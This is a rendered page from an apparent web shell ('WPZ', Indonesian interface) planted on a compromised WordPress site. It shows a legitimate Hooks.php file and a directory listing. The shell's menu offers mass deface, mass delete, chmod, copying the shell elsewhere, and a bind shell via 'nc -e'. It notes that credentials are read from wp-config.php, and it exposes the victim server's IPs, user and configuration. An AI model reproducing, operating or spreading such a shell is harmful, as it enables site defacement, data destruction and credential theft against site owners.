WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / allgauhupfer / wp-includes / Requests / src / [dxwrx-rx-r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/allgauhupfer/wp-includes/Requests/src/Hooks.php (2.96 KB)
<?php
/**
 * Handles adding and dispatching events
 *
 * @package Requests\EventDispatcher
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\HookManager;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Handles adding and dispatching events
 *
 * @package Requests\EventDispatcher
 */
class Hooks implements HookManager {
	/**
	 * Registered callbacks for each hook
	 *
	 * @var array
	 */
	protected $hooks = [];

	/**
	 * Register a callback for a hook
	 *
	 * @param string $hook Hook name
	 * @param callable $callback Function/method to call on event
	 * @param int $priority Priority number. <0 is executed earlier, >0 is executed later
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $callback argument is not callable.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $priority argument is not an integer.
	 */
	public function register($hook, $callback, $priority = 0) {
		if (is_string($hook) === false) {
			throw InvalidArgument::create(1, '$hook', 'string', gettype($hook));
		}

		if (is_callable($callback) === false) {
			throw InvalidArgument::create(2, '$callback', 'callable', gettype($callback));
		}

		if (InputValidator::is_numeric_array_key($priority) === false) {
			throw InvalidArgument::create(3, '$priority', 'integer', gettype($priority));
		}

		if (!isset($this->hooks[$hook])) {
			$this->hooks[$hook] = [
				$priority => [],
			];
		} elseif (!isset($this->hooks[$hook][$priority])) {
			$this->hooks[$hook][$priority] = [];
		}

		$this->hooks[$hook][$priority][] = $callback;
	}

	/**
	 * Dispatch a message
	 *
	 * @param string $hook Hook name
	 * @param array $parameters Parameters to pass to callbacks
	 * @return boolean Successfulness
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $parameters argument is not an array.
	 */
	public function dispatch($hook, $parameters = []) {
		if (is_string($hook) === false) {
			throw InvalidArgument::create(1, '$hook', 'string', gettype($hook));
		}

		// Check strictly against array, as Array* objects don't work in combination with `call_user_func_array()`.
		if (is_array($parameters) === false) {
			throw InvalidArgument::create(2, '$parameters', 'array', gettype($parameters));
		}

		if (empty($this->hooks[$hook])) {
			return false;
		}

		if (!empty($parameters)) {
			// Strip potential keys from the array to prevent them being interpreted as parameter names in PHP 8.0.
			$parameters = array_values($parameters);
		}

		ksort($this->hooks[$hook]);

		foreach ($this->hooks[$hook] as $priority => $hooked) {
			foreach ($hooked as $callback) {
				$callback(...$parameters);
			}
		}

		return true;
	}

	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
namawaktuukuranownerpermaksi
..
Auth/ 2026-02-23 19:412.48 KB 76129f60960:kundendxwrx-rx-r
Cookie/ 2026-02-23 19:414.26 KB 76129f60960:kundendxwrx-rx-r
Exception/ 2026-02-23 19:4121.94 KB 76129f60960:kundendxwrx-rx-r
Proxy/ 2026-02-23 19:414.12 KB 76129f60960:kundendxwrx-rx-r
Response/ 2026-02-23 19:413.03 KB 76129f60960:kundendxwrx-rx-r
Transport/ 2026-02-23 19:4134.64 KB 76129f60960:kundendxwrx-rx-r
Utility/ 2026-02-23 19:417.01 KB 76129f60960:kundendxwrx-rx-r
Auth.php 2026-02-23 19:41860 B 76129f60960:kunden-xw-x-----
edt
Autoload.php 2026-02-23 19:419.12 KB 76129f60960:kunden-xw-x-----
edt
Capability.php 2026-02-23 19:41652 B 76129f60960:kunden-xw-x-----
edt
Cookie.php 2026-02-23 19:4115.03 KB 76129f60960:kunden-xw-x-----
edt
Exception.php 2026-02-23 19:411.09 KB 76129f60960:kunden-xw-x-----
edt
HookManager.php 2026-02-23 19:41709 B 76129f60960:kunden-xw-x-----
edt
Hooks.php 2026-02-23 19:412.96 KB 76129f60960:kunden-xw-x-----
edt
IdnaEncoder.php 2026-02-23 19:4112.14 KB 76129f60960:kunden-xw-x-----
edt
Ipv6.php 2026-02-23 19:415.51 KB 76129f60960:kunden-xw-x-----
edt
Iri.php 2026-02-23 19:4128.93 KB 76129f60960:kunden-xw-x-----
edt
Port.php 2026-02-23 19:411.47 KB 76129f60960:kunden-xw-x-----
edt
Proxy.php 2026-02-23 19:41867 B 76129f60960:kunden-xw-x-----
edt
Requests.php 2026-02-23 19:4133.2 KB 76129f60960:kunden-xw-x-----
edt
Response.php 2026-02-23 19:414.18 KB 76129f60960:kunden-xw-x-----
edt
Session.php 2026-02-23 19:418.89 KB 76129f60960:kunden-xw-x-----
edt
Ssl.php 2026-02-23 19:415.3 KB 76129f60960:kunden-xw-x-----
edt
Transport.php 2026-02-23 19:411.51 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/allgauhupfer/wp-includes/Requests/src
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK